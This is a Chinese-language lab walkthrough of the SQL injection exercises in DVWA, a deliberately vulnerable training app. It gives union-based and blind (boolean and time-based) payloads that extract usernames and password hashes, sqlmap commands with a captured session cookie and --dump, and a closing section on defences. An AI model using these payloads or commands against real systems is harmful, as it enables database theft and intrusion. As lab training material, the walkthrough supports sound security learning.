DVWA通过攻略之SQL注入

目录

  • 1.SQL Injection SQL注入
  • 2.实验演示
    • 2.1.low
    • 2.3.high
    • 2.4.impossible
  • 3.sqlmap自动化注入
    • 3.1.low
    • 3.2.medium
    • 3.3.high
  • 4.SQL注入(盲注)
  • 5.防范措施


1.SQL Injection SQL注入

SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL。而SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者在web应用程序中事先定义好的查询语句结尾上添加额外的SQL语句,将Web页面的原URL、表单域或数据包输入的参数,修改拼接成SQL语句,传递给Web服务器,进而传给数据库服务器以执行数据库命令,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息,修改数据,执行管理员操作,读取操作系统文件,执行操作系统命令等,是发生在应用程序的数据库层的安全漏洞,是设计应用程序时忽略了对输入字符串中夹带的SQL命令的检查,数据库误将恶意SQL命令作为正常SQL命令运行而导致的。如Web应用程序的开发人员对用户所输入的数据或cookie等内容不进行过滤或验证(即存在注入点)就直接传输给数据库,就可能导致拼接的SQL被执行,获取对数据库的信息以及提权,发生SQL注入攻击。可将SQL注入方式大致分为两类:数字型注入、字符型注入。
攻击手法:
1、基于布尔的盲注
因为web的页面返回值都是True或者False,所以布尔盲注就是注入后根据页面返回值来得到数据库信息的一种办法。
2、基于时间的盲注
当布尔型注入没有结果(页面显示正常)的时候,我们很难判断注入的代码是否被执行,也可以说到底这个注入点存不存在?这个时候布尔型注入就无法发挥自己的作用了。基于时间的盲注便应运而生,所谓基于时间的盲注,就是我们根据web页面相应的时间差来判断该页面是否存在SQL注入点。
3、联合查询注入
使用联合查询进行注入的前提是我们要进行注入的页面必须有显示位。所谓联合查询注入即是使用union合并两个或多个SELECT语句的结果集,所以两个及以上的select必须有相同列、且各列的数据类型也都相同。联合查询注入可在链接最后添加order by 9基于随意数字的注入,根据页面的返回结果来判断站点中的字段数目。
4、基于错误信息的注入
此方法是在页面没有显示位,但是echo mysql_error();函数输出了错误信息的时候方能使用。优点是注入速度快,缺点是语句较为复杂,而且只能用limit依次进行猜解。总体来说,报错注入其实是一种公式化的注入方法,主要用于在页面中没有显示位,但是用echo mysql_error();输出了错误信息时使用。

注入过程:
第一步:SQL注入点探测。探测SQL注入点是关键的一步,通过适当的分析应用程序,可以判断什么地方存在SQL注入点。通常只要带有输入提交的动态网页,并且动态网页访问数据库,就可能存在SQL注入漏洞。如果程序员信息安全意识不强,采用动态构造SQL语句访问数据库,并且对用户的输入未进行有效性验证,则存在SQL注入漏洞的可能性很大。一般通过页面的报错信息来确定是否存在SQL注入漏洞。
第二步:收集后台数据库信息。不同数据库的注入方法、函数都不尽相同,因此在注入之前,我们先要判断一下数据库的类型。判断数据库类型的方法很多,可以输入特殊字符,如单引号,让程序返回错误信息,我们根据错误信息提示进行判断;还可以使用特定函数来判断,比如输入“1 and version()>0”,程序返回正常,说明version()函数被数据库识别并执行,而version()函数是MySQL特有的函数,因此可以推断后台数据库为MySQL。
第三步:猜解用户名和密码。数据库中的表和字段命名一般都是有规律的。通过构造特殊SQL语句在数据库中依次猜解出表名、字段名、字段数、用户名和密码。
第四步:查找Web后台管理入口。WEB后台管理通常不对普通用户开放,要找到后台管理的登录网址,可以利用Web目录扫描工具(如:wwwscan、AWVS)快速搜索到可能的登录地址,然后逐一尝试,便可以找到后台管理平台的登录网址。
第五步:入侵和破坏。一般后台管理具有较高权限和较多的功能,使用前面已破译的用户名、密码成功登录后台管理平台后,就可以任意进行破坏,比如上传木马、篡改网页、修改和窃取信息等,还可以进一步提权,入侵Web服务器和数据库服务器。

2.实验演示

在DVWA页面左侧选择SQL Injection。
目标是通过SQL注入获取数据库中id1~5用户的密码。

2.1.low

DVWA Security设置为low,没有采用任何防御措施,SQL查询使用原始输入。
输入2,查看
DVWA通过攻略之SQL注入_第1张图片

判断注入点类型,输入

1or 1=1 #

DVWA通过攻略之SQL注入_第2张图片

正常执行,说明是字符型注入。
判断数据库类型,

 1' union select version(),@@version_compile_os#

DVWA通过攻略之SQL注入_第3张图片

正确执行,说明version()函数被数据库识别并执行,而version()函数是MariaDB(MySQL)特有的函数,因此可以推断后台数据库为MySQL,操作系统为linux。
猜解数据库名,输入

1' union select database(),user()#

DVWA通过攻略之SQL注入_第4张图片

获得数据库名dvwa。
获取表名,information_schema 是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为tables的数据表,该表包含两个字段 table_name和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。
输入

1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#

DVWA通过攻略之SQL注入_第5张图片

显示dvwa数据库有两张表guestbook、users。猜测users表示用户表。
获取users表列名

1' union select 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users' #

其中dvwa和users是上面猜解的数据库名和表名。
DVWA通过攻略之SQL注入_第6张图片

显示列名为,user_id,first_name,last_name,user,password,avatar,last_login,failed_login。依据user,password可以获取到用户名,密码。
获取用户名,密码,输入

1' union select user,password from users #

DVWA通过攻略之SQL注入_第7张图片

得到了用户名,和密码,密码被加密了。可以尝试进行解密,例如md5。

2.2.medium
DVWA Security设置为Medium,使用mysql_real_escape_string()防止sql注入,函数功能是转义下列字符:\x00、\n、\r、\、"、\x1a。
用户id只能选择
DVWA通过攻略之SQL注入_第8张图片

有两个输出数据。启动burp抓包。
DVWA通过攻略之SQL注入_第9张图片

burp抓到的包发生到repeater,把id=1修改为

id=1 and 3-1 # 

发送。
DVWA通过攻略之SQL注入_第10张图片

判断是数值型注入。其他和low操作一样,只是SQL语句输入位置为在burp中修改id值,且不需要单引号。例如查询数据库类型为,把id=1修改为

id=1 union select version(),@@version_compile_os #

DVWA通过攻略之SQL注入_第11张图片

2.3.high

DVWA Security设置为High。这和low操作非常相似,但是这次攻击者以不同的方式输入值。输入值通过另一个页面的session变量传递给易受攻击的查询,而不是直接通过GET请求。
先点击第一个页面的here_to_change_your_ID,然后在显示的页面中输入要查询的id。
DVWA通过攻略之SQL注入_第12张图片

在页面中输入

1and 1=1 #

DVWA通过攻略之SQL注入_第13张图片

显示正常,是字符型注入,其他和low一样,注入点在点击后显示的页面。如直接输入

1' union select user,password from users #

获得账号密码。
DVWA通过攻略之SQL注入_第14张图片

2.4.impossible

DVWA Security设置为Impossible Level。查询现在是参数化查询(而不是动态查询)。意味着查询由开发人员定义,并区分哪些部分是代码,其余部分是数据。目前无法破解。

3.sqlmap自动化注入

SQLMap 是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL 、Oracle 、PostgreSQL 、Microsoft SQL Server、Microsoft Access 、IBM DB2, SQ Lite 、Firebird 、Sybase和SAPMaxDB 。

3.1.low

启动burp抓包

DVWA通过攻略之SQL注入_第15张图片

使用burp抓到的cookie
启动kali终端输入、运行

sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=rcs60b05f67h1qk27rm2tn1l8f; security=low"

其中URL从输入1后从浏览器复制,cookie抓包后提取。
一直输入y。显示存在注入点
DVWA通过攻略之SQL注入_第16张图片

在以上命令后添加 --dbs获取所有数据库名,–batch默认输入y,kali终端运行

sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=rcs60b05f67h1qk27rm2tn1l8f; security=low" --dbs --batch

DVWA通过攻略之SQL注入_第17张图片

获得存在数据库名dvwa,information_schema
在命令后添加–current-db,获得当前数据库名称。运行

sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=rcs60b05f67h1qk27rm2tn1l8f; security=low" --current-db --batch

DVWA通过攻略之SQL注入_第18张图片

获得当前数据库名为dvwa。
在命令后添加-D dvwa --tables 获取dvwa数据库中的表名。

sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=rcs60b05f67h1qk27rm2tn1l8f; security=low" -D dvwa --tables --batch

DVWA通过攻略之SQL注入_第19张图片

获得dvwa数据库中的表名guestbook,users
在命令后添加-T users --columns获取users表中的列名。

sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=rcs60b05f67h1qk27rm2tn1l8f; security=low" -D dvwa -T users --columns --batch

DVWA通过攻略之SQL注入_第20张图片

成功获得列名。在使用-C user,password,user_id --dump,显示用户id,名称,密码,且会自动解密,保存到本地文件中。解密需要一定时间。

sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=rcs60b05f67h1qk27rm2tn1l8f; security=low" -D dvwa -T users -C user,password,user_id --dump 

DVWA通过攻略之SQL注入_第21张图片

3.2.medium

启动burp抓包
DVWA通过攻略之SQL注入_第22张图片

复制抓取到的内容,放入新建文件,1.txt。
kali中运行

sqlmap -r "1.txt" --batch

接下来的步骤,与low一样。

3.3.high

注入点在第二个页面,是跨页的情况。

启动burp抓包,内容放入新建文件2.txt。注意抓到的包是第二个页面点击submit后抓到的包。
DVWA通过攻略之SQL注入_第23张图片

kali运行

sqlmap -r “2.txt”  --batch  --second-ur "http://127.0.0.1/DVWA/vulnerabilities/sqli/"

后面url是第一个页面的链接。
DVWA通过攻略之SQL注入_第24张图片

接下来和low一样,例如运行以后命令获得数据库名

sqlmap -r “2.txt”  --batch --second-url "http://127.0.0.1/DVWA/vulnerabilities/sqli/session-input.php"

4.SQL注入(盲注)

SQL盲注与一般注入的区别在于一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示 页面上获取执行的结果,甚至连注入语句是否执行都无法得知。
盲注就像跟一个机器人聊天,但是这个机器人只会回答“是”与“不是”,或者观察反应回答的时间,因此,得从一个大的范围去问是与不是,然后慢慢的缩小范围,最后就是类似于问“数据库名字的第一个字是不是a啊”这样的问题,通过这种机械的询问,最终得到我们想要的数据。
盲注分三类
1)布尔盲注: 成功与失败通过布尔值来展示
2)报错盲注: 页面显示数据库报错信息;
3)时间盲注: 页面没有回显位置(联合注入无法使用)、页面不显示数据库的报错信息(报错注入无法使用)、无论成功还是失败,页面只响应一种结果(布尔盲注无法使用)时,采用时间盲注;(时间盲注,也叫延时注入,根据页面的响应时间来判断是否存在注入。)
时间盲注利用前提:页面上没有显示位,也没有输出SQL语句执行错误信息。正确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条件之后,页面延时5秒以上则说明判断成立,即存在注入;
盲注的一般步骤:
1)判断是否存在注入、注入是字符型还是数字型
2)猜解当前数据库名
3)猜解数据库中的表名
4)猜解表中的字段名
5)猜解数据

目标是获取SQL数据库软件的版本。
low级别
Low级别代码对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞,同时SQL语句查询返回结果只有2种

DVWA通过攻略之SQL注入_第25张图片DVWA通过攻略之SQL注入_第26张图片

基于返回数据,可进行布尔盲注;
1)查数据库前要先判断数据库的长度:
输入1’ and length(database())=x #其中x为大于等于1的整数,当显示存在时即为数据库长度,发现当x=4是显示存在,故当前页面所使用的数据库长度为4;
1’ and length(database())=1 #
DVWA通过攻略之SQL注入_第27张图片

1’ and length(database())=4 #
DVWA通过攻略之SQL注入_第28张图片

确定了数据库名的长度,接下来从第一个字符开始依次猜字符内容
依次输入1’ and ascii(substr(databse(),1,1))>或<字母的ascii码值,通过比较输入字母的ascii值的显示正常与否来逐个确定库名。
输入
1’ and ascii(substr(database(),1,1)) > 97 #
DVWA通过攻略之SQL注入_第29张图片

显示存在,说明数据库名第一个字符ascii值大于97(小写字符a)
输入
1’ and ascii(substr(databse(),1,1))<122 #
DVWA通过攻略之SQL注入_第30张图片

显示存在,说明数据库名第一个字符ASCII值小于122(小写字符z)
重复以上步骤,使用二分法猜字符,就可以得到完整的数据库名dvwa,以上过程建议采用代码实现或使用sqlmap。

时间盲注
输入
1 and sleep(5) #
DVWA通过攻略之SQL注入_第31张图片

结果不会延迟说明执行错误,后面sleep(5)没有执行,不是数字型注入。

输入
1’ and sleep(5) #
DVWA通过攻略之SQL注入_第32张图片

结果会延迟说明执行成功,后面sleep(5)成功执行,是字符型注入。
接下来的步骤与布尔注入一致。

5.防范措施

SQL注入攻击的危害很大,而且防火墙很难对攻击行为进行拦截,主要的SQL注入攻击防范方法,具体有以下几个方面。
1、分级管理
对用户进行分级管理,严格控制用户的权限,对于普通用户,禁止给予数据库建立、删除、修改等相关权限,只有系统管理员才具有增、删、改、查的权限。通过权限的设计限制。使得即使恶意攻击者在数据提交时嵌入了相关攻击代码。但因为设置了权限,从而使得代码不能执行。从而减少SQL注入对数据库的安全威胁。
2、参数传值
程序员在书写SQL语言时,禁止将变量直接写入到SQL语句,必须通过设置相应的参数来传递相关的变量。从而抑制SQL注入。数据输入不能直接嵌入到查询语句中。同时要过滤输入的内容,过滤掉不安全的输入数据。或者采用参数传值的方式传递输入变量。这样可以最大程度防范SQL注入攻击。
3、基础过滤与二次过滤
SQL注入攻击前,入侵者通过修改参数提交“and”等特殊字符,判断是否存在漏洞,然后通过select、update等各种字符编写SQL注入语句。因此防范SQL注入要对用户输入进行检查,确保数据输入的安全性,在具体检查输入或提交的变量时,对于单引号、双引号、冒号等字符进行转换或者过滤,从而有效防止SQL注入。当然危险字符有很多,在获取用户输入提交的参数时,首先要进行基础过滤,然后根据程序的功能及用户输入的可能性进行二次过滤,以确保系统的安全性。
4、使用安全参数
SQL数据库为了有效抑制SQL注入攻击的影响。在进行SQLServer数据库设计时设置了专门的SQL安全参数。在程序编写时应尽量使用安全参数来杜绝注入式攻击。从而确保系统的安全性。SQLServer数据库提供了Parameters集合,它在数据库中的功能是对数据进行类型检查和长度验证,当程序员在程序设计时加入了Parameters集合,系统会自动过滤掉用户输入中的执行代码,识别其为字符值。如果用户输入中含有恶意的代码,数据库在进行检查时也能够将其过滤掉。同时Parameters集合还能进行强制执行检查。一旦检查值超出范围。系统就会出现异常报错,同时将信息发送系统管理员,方便管理员做出相应的防范措施。
5、多层验证
现在的网站系统功能越来越庞大复杂。为确保系统的安全,访问者的数据输入必须经过严格的验证才能进入系统,验证没通过的输入直接被拒绝访问数据库,并且向上层系统发出错误提示信息。同时在客户端访问程序中验证访问者的相关输入信息,从而更有效的防止简单的SQL注入。但是如果多层验证中的下层如果验证数据通过,那么绕过客户端的攻击者就能够随意访问系统。因此在进行多层验证时,要每个层次相互配合,只有在客户端和系统端都进行有效的验证防护,才能更好地防范SQL注入攻击。
6、数据库信息加密。对数据库信息加密,使得即便攻击者进入了数据库也无法理解信息内容。

你可能感兴趣的:(渗透学习,sql,数据库,服务器,网络安全)